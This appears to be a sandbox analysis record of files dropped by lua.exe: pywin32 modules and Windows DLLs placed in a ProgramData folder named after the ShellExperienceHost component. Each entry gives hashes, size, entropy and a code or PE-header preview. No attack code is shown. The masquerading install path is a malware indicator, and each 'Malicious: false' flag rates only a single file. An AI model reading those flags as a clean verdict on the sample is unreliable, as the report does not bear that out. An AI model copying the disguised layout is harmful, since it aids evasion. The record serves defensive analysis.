SHA-512:	420FAC40DBF5ABCA0C5111F083D68ABD4BA3ED56BF8AF571968EE93F18EEF0F33AB41087F200F805E7BA3EB8E13CA74932E8B69990C6861B423B5FD86605AB49
Malicious:	false
Preview:	from win32com.adsi import adsi.from win32com.adsi.adsicon import .from win32com.adsi import adsicon.import pythoncom, pywintypes, win32security..options = None # set to optparse options object..ADsTypeNameMap = {}..def getADsTypeName(type_val):. # convert integer type to the 'typename' as known in the headerfiles.. if not ADsTypeNameMap:. for n, v in adsicon.__dict__.items():. if n.startswith("ADSTYPE_"):. ADsTypeNameMap[v] = n. return ADsTypeNameMap.get(type_val, hex(type_val))..def _guid_from_buffer(b):. return pywintypes.IID(b, True)..def _sid_from_buffer(b):. return str(pywintypes.SID(b)).._null_converter = lambda x: x..converters = {. 'objectGUID' : _guid_from_buffer,. 'objectSid' : _sid_from_buffer,. 'instanceType' : getADsTypeName,.}..def log(level, msg, args):. if options.verbose >= level:. print("log:", msg % args)..def getGC():. cont = adsi.ADsOpenObject("GC:", options.user, options.password, 0, adsi.IID_

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\demos\test.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7276
Entropy (8bit):	5.1477146154652536
Encrypted:	false
SSDEEP:	192:kqnughCYkjnRmazjnRr0xFmW6vgEsIzsFEEHrsnkca/cF:kHV4MjY6oEsIzsFE4snvHF
MD5:	831F044079A6ECC95C7B106CC2F9AD22
SHA1:	878B427C6797FD1413AE4847232DF75589B7F585
SHA-256:	2DF92A574BF8AAAEDFA55FA6F5D63B1BD9BBA199B16BF2429BCF958AD896F922
SHA-512:	34DE6172259045C19DA29C46EDDD4E3BEDC54DCE3F0BB0CC89A2783286276618FCD474A047EB8607CEA5CF69F0923EF7A28E92A797393776BED7DCD9F8CA2286
Malicious:	false
Preview:	import sys, string.import pythoncom..import win32api.from win32com.adsi import *..verbose_level = 0..server = '' # Must have trailing /.local_name = win32api.GetComputerName()..def DumpRoot():.."Dumps the root DSE"..path = "LDAP://%srootDSE" % server..rootdse = ADsGetObject(path)...for item in rootdse.Get("SupportedLDAPVersion"):...print("%s supports ldap version %s" % (path, item))....attributes = ["CurrentTime", "defaultNamingContext"]..for attr in attributes:...val = rootdse.Get(attr)...print(" %s=%s" % (attr, val))..###############################################.#.# Code taken from article titled:.# Reading attributeSchema and classSchema Objects.def _DumpClass(child):..attrs = "Abstract lDAPDisplayName schemaIDGUID schemaNamingContext attributeSyntax oMSyntax".._DumpTheseAttributes(child, string.split(attrs))...def _DumpAttribute(child):..attrs = "lDAPDisplayName schemaIDGUID adminDescription adminDisplayName rDNAttID defaultHidingValue defaultObjectCategory systemOnly defaultSec

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\authorization\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	192
Entropy (8bit):	4.73288878491099
Encrypted:	false
SSDEEP:	3:SbFVEbW2llQkEr66FuxAAyWX7myhAgMXFPJoFcAtUIVKzLHSKPWlQkEr66NRS66g:SbFubDlQkDAAyWrNhS5WmKVsLH7WlQkQ
MD5:	7D64D75FE448A0373F44C19C8826FA9F
SHA1:	08FEC202B3EB2AF84AC9E0643E2A436DB75635E1
SHA-256:	8B4F8E4916EC7CA0C45DDDEB0CE7A392C31239A65F322E09F6CB992DE4D8570D
SHA-512:	E729826E71DFD6FADEC5F5512843FCBAB77689A5E9A77AB98460532CA3DE13BFACC276D570D782E06CC4CA2F993D946BA3C66FC3EBE03F7FA6B6D30BAAF945BE
Malicious:	false
Preview:	# This is a python package.# __PackageSupportBuildPath__ not needed for distutil based builds,.# but not everyone is there yet..import win32com.win32com.__PackageSupportBuildPath__(__path__)..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\authorization\authorization.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27648
Entropy (8bit):	5.231475438260202
Encrypted:	false
SSDEEP:	384:MkbZ78mPqOU5j7rYwEM6DOirmMsUhUpEgkkPEhL1u:MkbRTiyKRXpCGEhL1u
MD5:	B84244C65B746BA896172875546C6CC5
SHA1:	41B348A41AF9E012A4A8CE685A490D1983529AD4
SHA-256:	B21000510121732ADC8D9ED08052904089D28D3B8A9FF305F198B6A2C15421CD
SHA-512:	8F9E943C4992E765B25FED35D156F978A8D624E1B67BBA4EC61A239A5AEC8D9C4B595B61D631CB7734A41A0210E8556EAFAB8DAC0B360E2C9FEBF2CB61750C19
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*...ni..ni..ni..g.e.ji..U7..li..U7..oi..U7..ai..U7..fi...7..ji......li......ii..ni..4i...7..li...7..oi...7..oi..Richni..........PE..d....]._.........." .....(...@......\(........D...........................................`.........................................0[..\....[..........d.......D....................H..T...........................0I...............@...............................text....'.......(.................. ..`.rdata...,...@.......,..............@..@.data...p....p.......Z..............@....pdata..D............^..............@..@.gfids..4............d..............@..@.rsrc...d............f..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\authorization\demos\EditSecurity.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7800
Entropy (8bit):	5.08348916841776
Encrypted:	false
SSDEEP:	96:UiuLfJV6+l2uU3weqmuuHxCac15umzMQxYB/TLmn6ohS4y/iuPJ4uwGSuuHxl+Mw:2rscYxxc1/0LQlmljpYxEAtw
MD5:	3C47AF8244F86A8FC64BC0566DD97F75
SHA1:	6D166269DD79A738B35D82E76F47BBC281DFA7A9
SHA-256:	62E73FCE1A3A19BFE14B4487CF1C882F7AB4059F240E298B42C2D01AAB8BC8DB
SHA-512:	AC1ECDC60F69F4F245147DDD52D81C352BE15BC8C7440A0BD905336E352C1CD5FF01A67DB176CA310D3402411836853426F6A9F9F926A4275C1F7599D8661EB9
Malicious:	false
Preview:	import os.import win32com.server.policy.import win32security, ntsecuritycon, win32con.import pythoncom, win32api.from win32com.authorization import authorization..from ntsecuritycon import FILE_READ_ATTRIBUTES, FILE_READ_DATA, FILE_READ_EA, SYNCHRONIZE,\. STANDARD_RIGHTS_READ, STANDARD_RIGHTS_WRITE, STANDARD_RIGHTS_EXECUTE, FILE_APPEND_DATA, \. FILE_WRITE_ATTRIBUTES, FILE_WRITE_DATA, FILE_WRITE_EA, WRITE_OWNER, WRITE_DAC, READ_CONTROL, \. SI_ADVANCED, SI_EDIT_AUDITS, SI_EDIT_PROPERTIES, SI_EDIT_ALL, SI_PAGE_TITLE, SI_RESET, \. SI_ACCESS_SPECIFIC, SI_ACCESS_GENERAL, SI_ACCESS_CONTAINER, SI_ACCESS_PROPERTY, \. FILE_ALL_ACCESS, FILE_GENERIC_READ, FILE_GENERIC_WRITE, FILE_GENERIC_EXECUTE, \. OBJECT_INHERIT_ACE, CONTAINER_INHERIT_ACE, INHERIT_ONLY_ACE, \. SI_PAGE_PERM, SI_PAGE_ADVPERM, SI_PAGE_AUDIT, SI_PAGE_OWNER, PSPCB_SI_INITDIALOG, \. SI_CONTAINER.from win32security import OBJECT_INHERIT_ACE, CONTAINER_INHERIT_ACE, INHERIT_ONLY_ACE.from win32com.shell.shellcon im

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\authorization\demos\EditServiceSecurity.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7465
Entropy (8bit):	5.157296655938127
Encrypted:	false
SSDEEP:	96:99FoxVJV6+EweSac05Byz4OU/uh4j/iu7Wiix9c9RQCBEJxOMbcXozfHW:9Yxxr6Bc0Wp2laiixX4EJxRf2
MD5:	E09F7A122AE3CA2C185AC7E1681EA5B1
SHA1:	01F09A804691C3FE3E477A0D154F03321EBF7035
SHA-256:	C6C0B3D901EA8EA6D3308B239FCCFCCF8684AF28D8E98B31D6082824376A1537
SHA-512:	51E20861F66CBA0A3AF3091AB7AFCBDA678794FE3548F33E70A86E908826531BB896ED68DE8B648C02C7E724C37C9CD5BB283F59F6C2B1AFF53CBEEAFBFB6098
Malicious:	false
Preview:	""".Implements a permissions editor for services..Service can be specified as plain name for local machine,.or as a remote service of the form \\machinename\service."""..import os.import win32com.server.policy.import win32security, ntsecuritycon, win32con.import pythoncom, win32api, win32service.from win32com.authorization import authorization..SERVICE_GENERIC_EXECUTE=win32service.SERVICE_START\|win32service.SERVICE_STOP\|win32service.SERVICE_PAUSE_CONTINUE\|win32service.SERVICE_USER_DEFINED_CONTROL.SERVICE_GENERIC_READ=win32service.SERVICE_QUERY_CONFIG\|win32service.SERVICE_QUERY_STATUS\|win32service.SERVICE_INTERROGATE\|win32service.SERVICE_ENUMERATE_DEPENDENTS.SERVICE_GENERIC_WRITE=win32service.SERVICE_CHANGE_CONFIG..from ntsecuritycon import STANDARD_RIGHTS_READ, STANDARD_RIGHTS_WRITE, STANDARD_RIGHTS_EXECUTE, \. WRITE_OWNER, WRITE_DAC, READ_CONTROL, \. SI_ADVANCED, SI_EDIT_AUDITS, SI_EDIT_PROPERTIES, SI_EDIT_ALL, SI_PAGE_TITLE, SI_RESET, \. SI_ACCESS_SPECIFIC, SI_ACCESS_GENERAL

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axcontrol\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.680015638860431
Encrypted:	false
SSDEEP:	3:SAFMBm3EAAGHQ+HWg7AIvGUVsLHSKPWlQkEr66NRS66gn:SgCmCGHQqAaGUWLH7WlQkAS63n
MD5:	00E2E2F3A54C8FC696EE191CF0C233AC
SHA1:	EAEB5C99325EFACBE8475B8A137C3C71EC91FDAF
SHA-256:	FD359A86764B2024239F4BFBCE53146582721F33AAFD88E7BA2E137DB58ED7AA
SHA-512:	41A42F18B7D6918E5859D3D8689374AC9FEC92FE19BA76BAC412E314D13D8261C9186E2421F32E336B67DCF3CFF3813BD31354CB4812D9248003DD56749736E2
Malicious:	false
Preview:	# See if we have a special directory for the binaries (for developers).import win32com.win32com.__PackageSupportBuildPath__(__path__)..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axcontrol\axcontrol.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	140800
Entropy (8bit):	5.722901027704837
Encrypted:	false
SSDEEP:	3072:0YXQfdUE3KVCiU3s0r19u0zwFC7CpCQQZAkp4hHBICX:RXQfd9KVCxc5E+Gp4hHB
MD5:	53625DAC36183B332EB1E827DB55361B
SHA1:	4E859C2F726B6FAAD10D783DE64A045FA68C11E2
SHA-256:	C6248B8AAE661D0BAA29297A2BFA7933D333634907C97AC46A59771BE57AA641
SHA-512:	7E32A7AF9763B955293F0A79422273D1C9E643C6151F7789680132A362216320FF5F7CB1685E62F95CF4FD5EC36909CB45087DA546A632F7A971E4342E9311CF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ID..(.(.(.P..(.v+.(.v).(.v/.(.v..(..J,.(./v+.(..A+.(..J+.(.(+..(./v/.(./v.(./v(.(.Rich.(.................PE..d...M]._.........." ................T.........G...........................................`.............................................T...T........p..T....@..................x.......T...........................`................ ...............................text............................... ..`.rdata....... ......................@..@.data...H4..........................@....pdata.......@......................@..@.gfids..4....`......................@..@.rsrc...T....p......................@..@.reloc..x...........................@..B........................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axdebug\adb.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17305
Entropy (8bit):	4.5923632454316445
Encrypted:	false
SSDEEP:	192:eYvD4+wNdp6Tz3G5VI1As62xrXmcXabLvbpduFvqUWrGbp/RWxq5ZZZG+q8VhgWj:eYvMXK73La/Sv0HdaB
MD5:	C54867E362B587C5FF4EBB6FEDA4273D
SHA1:	C69925F400C15DCBA43C497DE42FD313A6BEA2D8
SHA-256:	9AA19BE47CAC8FACE0F7D94C546960FD7F7C3B42CF55D49F157474905697BC7B
SHA-512:	F423CE25BCFDA265F966F7D6796A80D5BAF3F8EC3DC95B46744C96FB91BAF8A46F164EAD3D61E61AA651B1122A4CBEFE91C8910C83789AC51E05933F5F5BDCBE
Malicious:	false
Preview:	"""The glue between the Python debugger interface and the Active Debugger interface.""".from win32com.axdebug.util import trace, _wrap, _wrap_remove.from win32com.server.util import unwrap.import win32com.client.connect.from . import gateways.import sys, bdb, traceback.import axdebug, stackframe.import win32api, pythoncom.import _thread, os..def fnull(*args):. pass..try:. os.environ["DEBUG_AXDEBUG"]. debugging = 1.except KeyError:. debugging = 0..traceenter = fnull # trace enter of functions.tracev = fnull # verbose trace..if debugging:. traceenter = trace # trace enter of functions. tracev = trace # verbose trace..class OutputReflector:. def __init__(self, file, writefunc):. self.writefunc = writefunc. self.file = file. def __getattr__(self,name):. return getattr(self.file, name). def write(self,message):. self.writefunc(message). self.file.write(message)..def _dumpf(frame):. if frame is None:. return "<None>".

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axdebug\axdebug.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	287232
Entropy (8bit):	5.840127558023593
Encrypted:	false
SSDEEP:	6144:YDP+yBBCcxselp6G8Hyof+X3pWkiKzRS56zNKBZhNtTYydlNEwmHOoHg1h0Dc09z:YDP+yBBCcxselp6G8Hyof+X3pWkiKzUe
MD5:	63A832F716477CEFE23BB959E92E0D76
SHA1:	67B267474DAB7237BBD89FDE0536E7055D917013
SHA-256:	6D37AC7FE34E6EE3D30CA83E4FEB22AACF3F663EC6D9F3E982EC73DD573BE052
SHA-512:	9F47E623A71E1F4C78624554867CDCA67262B984BEB51A1D9E70845F2265FF795EBDA66511229EF5DE901D7A8AE96FB99B694DEFE213D872FD06243FC3F337E9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:U{.~4..~4..~4..wL..x4..Ej..\|4..Ej...4..Ej..o4..Ej..v4...V..{4...]..\|4...V..z4...j..y4..~4...4...j..R4...j...4...j...4..Rich~4..........................PE..d...e]._.........." .....8...&.......0........J...........................................`.........................................@...P...............L....p...0..............P...@...T............................................P...............................text....7.......8.................. ..`.rdata..h....P.......<..............@..@.data....~.......:..................@....pdata...0...p...2..................@..@.gfids..4............D..............@..@.rsrc...L............F..............@..@.reloc..P............J..............@..B................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axdebug\codecontainer.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8899
Entropy (8bit):	4.54894380005385
Encrypted:	false
SSDEEP:	192:oG1bU1rXdFUI7GWZOuDaO80TiGYFLVHS8KDS:oGhUFz7bZDaO80SR+DS
MD5:	87131B139FAAF2BCE3163F6C67EEA94A
SHA1:	AA1519F649957DFA96D793F77A1092EC50991A6C
SHA-256:	C66256A413C7A10438C61F74084E858C1CD4DDFFD1EE2AB4E1DF0B2B857DF689
SHA-512:	E1104CDF8E7DC75ACF6AFE1023BFBDB3023857BF81B96BD519F1FD51C588FAA91985B349E0646A8AB9DA95A26DD5EA2537B9B367105B7E330A1EF19471584F67
Malicious:	false
Preview:	"""A utility class for a code container...A code container is a class which holds source code for a debugger. It knows how.to color the text, and also how to translate lines into offsets, and back.."""..import sys.from win32com.axdebug import axdebug.import tokenize.from .util import RaiseNotImpl, _wrap..from win32com.server.exception import Exception.import win32api, winerror.from . import contexts.._keywords = {} # set of Python keywords.for name in """. and assert break class continue def del elif else except exec. finally for from global if import in is lambda not. or pass print raise return try while. """.split():. _keywords[name] = 1..class SourceCodeContainer:. def __init__(self, text, fileName = "<Remove Me!>", sourceContext = 0, startLineNumber = 0, site = None, debugDocument = None):. self.sourceContext = sourceContext # The source context added by a smart host.. self.text = text. if text:. self._buildlines().

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axdebug\contexts.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2164
Entropy (8bit):	4.6111784115109415
Encrypted:	false
SSDEEP:	48:X6TLppcEpqyDM2fztqDIHImZjAOfle2g4j:qTzdM2fztqDIHImSyle2g+
MD5:	3072C5EAD9426B2820F9C7DFFD989278
SHA1:	3B8DC7C9C4AE60D836D4E17B71EAA2AF253103F7
SHA-256:	DB6AB6CE707B979B8EB383D6BFE8B07E3148E0CBC170BF16F0C433BD79A5190E
SHA-512:	F79D2CEDB929652ABDAAC2BA95140BB1E67BFA6B5AA7772D147986315F49A023EDE8E26EC4ABEA0526AD27FC5BA67882C93597A80888E86DF507AFA865FCF2E9
Malicious:	false
Preview:	""" A module for managing the AXDebug I*Contexts..""".import gateways, axdebug.import pythoncom, win32com.server.util..# Utility function for wrapping object created by this module..from .util import _wrap, _wrap_remove, trace.from . import adb..class DebugCodeContext(gateways.DebugCodeContext, gateways.DebugDocumentContext):. # NOTE: We also implement the IDebugDocumentContext interface for Simple Hosts.. # Thus, debugDocument may be NULL when we have smart hosts - but in that case, we. # wont be called upon to provide it.. _public_methods_ = gateways.DebugCodeContext._public_methods_ + \. gateways.DebugDocumentContext._public_methods_. _com_interfaces_ = gateways.DebugCodeContext._com_interfaces_ + \. gateways.DebugDocumentContext._com_interfaces_.. def __init__(self, lineNo, charPos, len, codeContainer, debugSite):. self.debugSite = debugSite. self.offset = charPos. self.length = len. self.brea

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axdebug\debugger.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6941
Entropy (8bit):	4.66769045516779
Encrypted:	false
SSDEEP:	192:kZY4T03SwwkDCx7kPIGGhdXC2P1UPHi0IUNk8bSuPhfdCBW0PFjYo:kZtoiMlakfID
MD5:	49A19A10CAFE7214A386E639585BDA6F
SHA1:	2B805DEB4E7D8EFAC3E27F887C8374AF735D14BD
SHA-256:	9FF4190344C8432E68FBA1F601ABD7318C0015D11004D58CD83A73F90F96B7AE
SHA-512:	C7F220CFE5B62D293D2801456CEB6B9E85396A6037EE35293982304B620933B9C44C46A9043C4599BADB707567C97194A4B9D495E21DB41C8090E4A6FB46DEF7
Malicious:	false
Preview:	import sys, traceback, string..from win32com.axscript import axscript.from win32com.axdebug import codecontainer, axdebug, gateways, documents, contexts, adb, expressions.from win32com.axdebug.util import trace, _wrap, _wrap_remove..import pythoncom.import win32api, winerror.import os..currentDebugger = None..class ModuleTreeNode:. """Helper class for building a module tree. """. def __init__(self, module):. modName = module.__name__. self.moduleName = modName. self.module = module. self.realNode = None. self.cont = codecontainer.SourceModuleContainer(module). def __repr__(self):. return "<ModuleTreeNode wrapping %s>" % (self.module). def Attach(self, parentRealNode):. self.realNode.Attach(parentRealNode).. def Close(self):. self.module = None. self.cont = None. self.realNode = None..def BuildModule(module, built_nodes, rootNode, create_node_fn, create_node_args ):. if module:. keep = modu

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axdebug\documents.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4426
Entropy (8bit):	4.640603337602476
Encrypted:	false
SSDEEP:	96:26TurKcyE/q7J3KSSLDZGh5IVzy6PKkLiGITK9l1Yxh9od:jVE/SJ3XSLDtdPKkLYuchS
MD5:	69881FFB44F333D79182790B21ED552D
SHA1:	2BE2EB88DA0057923376CE70D6027E7B49356188
SHA-256:	B6519D6B23539A626178A663609E9E4805637BDE328758E3B697EAF56036B462
SHA-512:	89F96CFFF2A248ADE9CD800CF897F010547CDC4842B3494783FAC5CCB467AAAD94F31D2C3F92FEEE0094A197E21987E69FDB4CC9B9EA234E865C51992CBA3854
Malicious:	false
Preview:	""" Management of documents for AXDebugging.."""..import axdebug, gateways.import pythoncom.from .util import _wrap, _wrap_remove, RaiseNotImpl, trace.from win32com.server.util import unwrap.from . import codecontainer.from . import contexts.from win32com.server.exception import Exception.import win32api, winerror, os, string, sys..#def trace(*args):.# pass..def GetGoodFileName(fname):. if fname[0] != "<":. return win32api.GetFullPathName(fname). return fname..class DebugDocumentProvider(gateways.DebugDocumentProvider):. def __init__(self, doc):. self.doc = doc.. def GetName(self, dnt):. return self.doc.GetName(dnt).. def GetDocumentClassId(self):. return self.doc.GetDocumentClassId().. def GetDocument(self):. return self.doc..class DebugDocumentText(gateways.DebugDocumentInfo, gateways.DebugDocumentText, gateways.DebugDocument):. _com_interfaces_ = gateways.DebugDocumentInfo._com_interfaces_ + \. gatew

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axdebug\dump.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1814
Entropy (8bit):	4.873767304801146
Encrypted:	false
SSDEEP:	24:ktih/kTQbLreOZccNy1QEQ2ALkyOZvnvIeJCmvsFTMGQHXYzS4SyuhvQnmLM:ktFTQbHe2NIc2qk3ZNvqav4yhvK8M
MD5:	3875C20E5715A441493274E4D820F695
SHA1:	84925760DAFAAAA230D312A2070C24714C33C460
SHA-256:	707F0747584939A1EDDAF32FD1C2B5C60EC3FFE0373A0248F9644C4D8A3B5728
SHA-512:	334DCA5F6E995423B0D00FB0C5CA3E448B90911BFBFAE7AD61E7F50DBDE5A2D42588CE9EB70B7108688341D10AEBD9769CDD1A4A75FB1C548AEC952D0BDB18FB
Malicious:	false
Preview:	import sys, string.import traceback.from win32com.axdebug import axdebug.from win32com.client.util import Enumerator.import pythoncom..def DumpDebugApplicationNode(node, level = 0):. # Recursive dump of a DebugApplicationNode. spacer = " " * level. for desc, attr in [("Node Name", axdebug.DOCUMENTNAMETYPE_APPNODE),. ("Title", axdebug.DOCUMENTNAMETYPE_TITLE),. ("Filename", axdebug.DOCUMENTNAMETYPE_FILE_TAIL),. ("URL", axdebug.DOCUMENTNAMETYPE_URL),. ]:. try:. info = node.GetName(attr). except pythoncom.com_error:. info = "<N/A>". print("%s%s: %s" % (spacer, desc, info)). try:. doc = node.GetDocument(). except pythoncom.com_error:. doc = None. if doc:. doctext = doc.QueryInterface(axdebug.IID_IDebugDocumentText). numLines, numChars = doctext.GetSize().# text, attr = doctext.GetText(0, 20, 1).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axdebug\expressions.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6199
Entropy (8bit):	4.809238730955895
Encrypted:	false
SSDEEP:	192:DJt1b4pWgYiNeybSIuR6BJukLtw7JbJRT6GJbJmoX0Db4+QyZt9N:DJ8pWaeImIfGJbJcbf
MD5:	D5468E519177D907AADA4FC00E33FC6D
SHA1:	9CF411813DBEA7A9D419142C8C1DEA57550ED0BF
SHA-256:	A4D99FB27C05DAC96FDA4CC1E82A38AD5DECAB211F8464B4D93E03A2025594DA
SHA-512:	630BB796623143626926188C004FBD6550F4190F5040BABC27B85FE39ED99F8D864D25E148B30A0C85DD57650CCB5CFF9D7EB7145AB59DCD3EAE78ED26DF0F5A
Malicious:	false
Preview:	import axdebug, gateways.from .util import _wrap, _wrap_remove, RaiseNotImpl.import io, traceback.from pprint import pprint.from win32com.server.exception import COMException.import winerror.import string.import sys..# Given an object, return a nice string.def MakeNiceString(ob):. stream = io.StringIO(). pprint(ob, stream). return string.strip(stream.getvalue())..class ProvideExpressionContexts(gateways.ProvideExpressionContexts):. pass..class ExpressionContext(gateways.DebugExpressionContext):. def __init__(self, frame):. self.frame = frame. def ParseLanguageText(self, code, radix, delim, flags):. return _wrap(Expression(self.frame, code, radix, delim, flags), axdebug.IID_IDebugExpression). def GetLanguageInfo(self):.# print "GetLanguageInfo". return "Python", "{DF630910-1C1D-11d0-AE36-8C0F5E000000}"..class Expression(gateways.DebugExpression):. def __init__(self, frame, code, radix, delim, flags):. self.callback = None

C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\axdebug\gateways.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17122
Entropy (8bit):	4.7658550068852215
Encrypted:	false
SSDEEP:	384:slyuKDn57M5wWN0DCyWLF8wygIz2khymA9Yj0e7BXKZH73lnW/EvUs9p/:SGCljn
MD5:	99F1F97AA30F08E312530C3C7E359CC6
SHA1:	92CAA5EF869DABEE9C3F5EC81C88E78CD6B76C77
SHA-256:	56A0BAB1569EA5EE3EEAC1D377FB4DA98793F70F3B1305D7244B5566A2408185
SHA-512:	0D032880C4EB5B0924BB3F4C97592BB26A1A6C8AB871BF1CA9A963971D60EA8E77BA45CCA1AB2C1B1BB3AC1403E9E2195F68363294AA21AAB8A5DA3CA32A9BD5
Malicious:	false
Preview:	# Classes which describe interfaces...from win32com.server.exception import Exception.from win32com.server.util import ListEnumeratorGateway.from win32com.axdebug import axdebug.from win32com.axdebug.util import RaiseNotImpl, _wrap.import pythoncom.import win32com.server.connect.import winerror..class EnumDebugCodeContexts(ListEnumeratorGateway):. """A class to expose a Python sequence as an EnumDebugCodeContexts.. Create an instance of this class passing a sequence (list, tuple, or. any sequence protocol supporting object) and it will automatically. support the EnumDebugCodeContexts interface for the object... """. _com_interfaces_ = [ axdebug.IID_IEnumDebugCodeContexts ]..class EnumDebugStackFrames(ListEnumeratorGateway):. """A class to expose a Python sequence as an EnumDebugStackFrames.. Create an instance of this class passing a sequence (list, tuple, or. any sequence protocol supporting object) and it will automatically. support the EnumDebugStackFra

C:\ProgramData\ShellExperienceHost\api-ms-win-core-file-l1-2-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11576
Entropy (8bit):	6.619637172709859
Encrypted:	false
SSDEEP:	192:KW+WphWoiD1S8f4DBQABJty10cQRW52fqnaj7zdxTkRo:KPWphWoiD1IDBRJtuifl/zdx+o
MD5:	C7B0DCD9935DA9BDC9B390B4B0A9ABAC
SHA1:	A38EDA8861819B9D6DF0FC69A3664BD05634D884
SHA-256:	E04EC04A6C3D0DD77918BD671AC0B14A00865CEC66BA995A1E369ECED65CA89A
SHA-512:	3F0A02F441911BFDD81BD892149F14B29E6276DCE75B39FBEEDAE96ED4D20DDE947DD95E5C8A4562EECA7864D8C58B57307690687600A5EA707F17D6665D3D22
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...b..-.........." .........................................................0......#.....`.........................................`...L............ ..................8!..............T............................................................................rdata..l...........................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-core-localization-l1-2-0.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14136
Entropy (8bit):	6.6637990089463575
Encrypted:	false
SSDEEP:	384:JOMw3zdp3bwjGfue9/0jCRrndbpWphW1D1IDBRJtL6+VOXzIwS+klTxd:JOMwBprwjGfue9/0jCRrndbUYI1PE+4S
MD5:	464DF4108FD3C92B67953ADFD272D093
SHA1:	324080F43258BA7C9A70F88F9067FAD4F77CD8D5
SHA-256:	BF05002E9A83B94196AE0F1B1F53E8BA1356801B02BB7181B27EDB5437988DED
SHA-512:	41469C50A74F4F05528689CB5D58AB0E5463AE4D5DB8E3334E6F2FA013860E399E48CE8389E0C99D002274E88252CBF5EBA6686C9AD82422ACDA73B271032908
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...C............." .........................................................0.......)....`.........................................`................ ..................8!..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\api-ms-win-core-processthreads-l1-1-1.dll Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12304
Entropy (8bit):	6.679907167945202
Encrypted:	false
SSDEEP:	192:VtODfIeSHWphWA7D1S8f4DBQABJJSjhKEwkqnajVkL2s:VtODfIeSHWphWaD1IDBRJJshKtklxts
MD5:	1DD85830BD6F8EB28AA32E23A02514C9
SHA1:	3AA0AA5BDD4B4F5EFDE15D59FE5AD8C54F8B1D26
SHA-256:	E2E2E55C67C0CAF51B06B1FB308ACCFBC14155DECB1CCA98AF5500FB7FBA6296
SHA-512:	1AD7D99F039434F94CA675ED6A9EA6B0D4C9E957190F38E778DF349BBCEE28CABAB618C1E2D097AF00585DCDBDC846C44FFFC42730B182235128A6B01F2438BD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...k............." .........................................................0......~.....`.........................................`................ ..................."..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

